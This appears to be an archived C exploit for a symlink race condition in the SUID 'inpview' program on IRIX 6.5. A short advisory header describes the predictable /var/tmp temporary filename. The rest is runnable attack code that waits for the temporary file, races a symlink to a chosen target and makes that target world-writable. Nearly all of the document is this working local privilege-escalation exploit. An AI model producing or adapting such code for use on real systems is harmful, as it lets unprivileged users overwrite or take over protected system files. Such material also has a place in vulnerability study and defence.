52 lines
No EOL
1.9 KiB
C
52 lines
No EOL
1.9 KiB
C
/*
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source: https://www.securityfocus.com/bid/1530/info
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Certain versions of IRIX ship with a version of inpview that creates files in '/var/tmp/' in an insecure manner and is therefore prone to a race condition.
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InPerson's 'inpview' is a networked multimedia conferencing tool. InPerson provides multiway audio and video conferencing with a shared whiteboard, combined into a single, easy-to-use application. You use a separate "phone" tool to place and answer calls.
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The 'inpview' program writes out temporary files in the '/var/tmp' directory. Because these filenames are not random, an attacker can create a symlink to a previously created filename and force the SUID 'inpview' to overwrite the file with 'rw-rw-rw' permissions.
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*/
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/*## copyright LAST STAGE OF DELIRIUM jan 2000 poland *://lsd-pl.net/ #*/
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/*## /usr/lib/InPerson/inpview #*/
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/* sets rw-rw-rw permissions */
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#include <sys/types.h>
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#include <dirent.h>
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#include <stdio.h>
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main(int argc,char **argv){
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DIR *dirp;struct dirent *dentp;
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printf("copyright LAST STAGE OF DELIRIUM jan 2000 poland //lsd-pl.net/\n");
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printf("/usr/lib/InPerson/inpview for irix 6.5 6.5.8 IP:all\n\n");
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if(argc!=2){
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printf("usage: %s file\n",argv[0]);
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exit(-1);
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}
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if(!fork()){
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nice(-20);sleep(2);close(0);close(1);close(2);
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execle("/usr/lib/InPerson/inpview","lsd",0,0);
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}
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printf("looking for temporary file... ");fflush(stdout);
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chdir("/var/tmp");
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dirp=opendir(".");
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while(1){
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if((dentp=readdir(dirp))==NULL) {rewinddir(dirp);continue;}
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if(!strncmp(dentp->d_name,".ilmpAAA",8)) break;
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}
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closedir(dirp);
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printf("found!\n");
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while(1){
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if(!symlink(argv[1],dentp->d_name)) break;
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}
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sleep(2);
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unlink(dentp->d_name);
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execl("/bin/ls","ls","-l",argv[1],0);
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} |